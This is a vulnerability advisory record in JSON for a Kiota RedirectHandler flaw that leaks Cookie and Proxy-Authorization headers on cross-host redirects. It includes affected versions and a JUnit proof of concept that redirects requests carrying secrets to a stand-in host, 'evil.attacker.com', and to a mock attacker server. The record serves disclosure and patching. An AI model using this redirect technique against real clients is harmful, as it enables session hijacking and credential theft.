{"id":"CVE-2026-44503","aliases":["CVE-2026-44503","GHSA-7j59-v9qr-6fq9","GO-2026-5224","PYSEC-2026-2647"],"related":["CGA-cg9g-rqh6-8qcp"],"kind":"vulnerability","state":"published","title":"Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect","summary":"The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. \n\nThis vulnerability is present in the RedirectHandlers for:\n\nhttps://github.com/microsoft/kiota-dotnet\nhttps://github.com/microsoft/kiota-java\nhttps://github.com/microsoft/kiota-python\nhttps://github.com/microsoft/kiota-typescript\nhttps://github.com/microsoft/kiota-http-go\n\n\n### Details\nOnly the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.\n\nThis is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.\n\nVulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:\n\n```\nboolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());\nboolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());\nif (!sameScheme || !sameHost) {\nrequestBuilder.removeHeader(\"Authorization\");\n// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed\n}\n```\n\n\n### PoC\n1. Clone the repository:\ngit clone --depth 1 https://github.com/microsoft/kiota-java.git\ncd kiota-java\n\n2. Create the PoC test file at:\ncomponents/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java\n\nWith this content:\n```\npackage com.microsoft.kiota.http.middleware;\nimport static org.junit.jupiter.api.Assertions.*;\nimport com.microsoft.kiota.http.KiotaClientFactory;\nimport okhttp3.*;\nimport okhttp3.mockwebserver.*;\nimport org.junit.jupiter.api.Test;\n\npublic class SecurityPoC {\n@Test\nvoid crossHostRedirectLeaksCookies() throws Exception {\nRequest original = new Request.Builder()\n.url(\"http://trusted.example.com/api\")\n.addHeader(\"Authorization\", \"Bearer token\")\n.addHeader(\"Cookie\", \"session=SECRET\")\n.addHeader(\"Proxy-Authorization\", \"Basic cHJveHk6cGFzcw==\")\n.build();\nResponse redirect = new Response.Builder()\n.request(original).protocol(Protocol.HTTP_1_1)\n.code(302).message(\"Found\")\n.header(\"Location\", \"http://evil.attacker.com/steal\")\n.body(ResponseBody.create(\"\", MediaType.parse(\"text/plain\")))\n.build();\nRequest result = new RedirectHandler().getRedirect(original, redirect);\nassertNotNull(result);\nassertEquals(\"evil.attacker.com\", result.url().host());\nassertNull(result.header(\"Authorization\")); // stripped (good)\nassertEquals(\"session=SECRET\", result.header(\"Cookie\")); // LEAKED\nassertEquals(\"Basic cHJveHk6cGFzcw==\", result.header(\"Proxy-Authorization\")); // LEAKED\n}\n\n@Test\nvoid endToEndProof() throws Exception {\nvar evil = new MockWebServer();\nevil.start();\nevil.enqueue(new MockResponse().setResponseCode(200));\nvar trusted = new MockWebServer();\ntrusted.start();\ntrusted.enqueue(new MockResponse().setResponseCode(302)\n.setHeader(\"Location\", evil.url(\"/steal\")));\nOkHttpClient client = KiotaClientFactory.create(\nnew Interceptor[]{new RedirectHandler()}).build();\nclient.newCall(new Request.Builder().url(trusted.url(\"/api\"))\n.addHeader(\"Cookie\", \"session=SECRET\").build()).execute();\ntrusted.takeRequest();\nRecordedRequest captured = evil.takeRequest();\nassertEquals(\"session=SECRET\", captured.getHeader(\"Cookie\")); // LEAKED to evil server\nevil.shutdown();\ntrusted.shutdown();\n}\n}\n```\n\n3. Run the tests:\n./gradlew :components:http:okHttp:test --tests \"com.microsoft.kiota.http.middleware.SecurityPoC\"\n\n4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.\nBoth tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.\n\n### Impact\nThe kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.\n\nAttack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.\n\nImpact:\n- Session hijacking via leaked Cookie headers\n- Corporate proxy credential theft via leaked Proxy-Authorization\n- API key theft via leaked custom auth headers (X-API-Key, etc.)\n\nAll consumers of kiota-java are affected, including Microsoft Graph SDK for Java.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect in github.com/microsoft/kiota-http-go","format":"markdown","source":"go"},{"lang":"es","text":"El middleware RedirectHandler en microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) y otras bibliotecas Kiota no logra eliminar encabezados HTTP sensibles al seguir redirecciones 3xx a un host o esquema diferente. Solo se elimina el encabezado de autorización; Cookie, Proxy-Authorization y todos los encabezados personalizados se reenvían al objetivo de la redirección.","source":"nvd"}],"published":"2026-05-07T01:49:01.000Z","modified":"2026-10-26T14:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"}],"cwes":["CWE-601"],"affected":[{"ranges":[{"version":"< 1.9.1","status":"affected"}],"vendor":"microsoft","product":"kiota-java","source":"cvelist"},{"ranges":[{"version":"< 1.22.0","status":"affected"}],"vendor":"microsoft","product":"Microsoft.Kiota.Abstractions","source":"cvelist"},{"ranges":[{"version":"< 1.5.5","status":"affected"}],"vendor":"microsoft","product":"github.com/microsoft/kiota-http-go","source":"cvelist"},{"ranges":[{"version":"< 1.0.0-preview.100","status":"affected"}],"vendor":"microsoft","product":"kiota-typescript","source":"cvelist"},{"ranges":[{"version":"< 1.9.1","status":"affected"}],"vendor":"microsoft","product":"microsoft-kiota-abstractions","source":"cvelist"},{"ranges":[{"version":"< 1.9.9","status":"affected"}],"vendor":"microsoft","product":"microsoft-kiota-http","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.9.1"}],"ecosystem":"Maven","package":"com.microsoft.kiota:microsoft-kiota-abstractions","purl":"pkg:maven/com.microsoft.kiota/microsoft-kiota-abstractions","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.22.0"}],"ecosystem":"NuGet","package":"Microsoft.Kiota.Abstractions","purl":"pkg:nuget/Microsoft.Kiota.Abstractions","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.9.9"}],"ecosystem":"PyPI","package":"microsoft-kiota-http","purl":"pkg:pypi/microsoft-kiota-http","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.0.0-preview.100"}],"ecosystem":"npm","package":"kiota-typescript","purl":"pkg:npm/kiota-typescript","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.5.5"}],"ecosystem":"Go","package":"github.com/microsoft/kiota-http-go","purl":"pkg:golang/github.com/microsoft/kiota-http-go","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.5.5"}],"ecosystem":"Go","package":"github.com/microsoft/kiota-http-go","purl":"pkg:golang/github.com/microsoft/kiota-http-go","source":"go"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.9.9"}],"ecosystem":"PyPI","package":"microsoft-kiota-http","purl":"pkg:pypi/microsoft-kiota-http","source":"pysec"}],"references":[{"url":"https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44503","tags":["advisory"],"sources":["ghsa","go","pysec"]},{"url":"https://github.com/advisories/GHSA-7j59-v9qr-6fq9","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/microsoft/kiota-java","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/microsoft-kiota-http/PYSEC-2026-2647.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/microsoft-kiota-http","tags":["package","web"],"sources":["ghsa","pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-14T18:02:08.790Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44503","url":"https://www.cve.org/CVERecord?id=CVE-2026-44503","licence":"CVE Terms of Use","modified":"2026-05-14T19:51:10.682Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7j59-v9qr-6fq9","url":"https://github.com/advisories/GHSA-7j59-v9qr-6fq9","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:46.498Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5224","url":"https://pkg.go.dev/vuln/GO-2026-5224","licence":"CC-BY-4.0","modified":"2026-08-17T21:26:53.188Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44503","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44503","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2647","url":"https://osv.dev/vulnerability/PYSEC-2026-2647","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:36.594Z"}],"updatedAt":"2026-11-25T22:59:21.723Z","epss":{"score":0.00642,"percentile":0.52097,"date":"2026-12-01T12:00:22.000Z"}}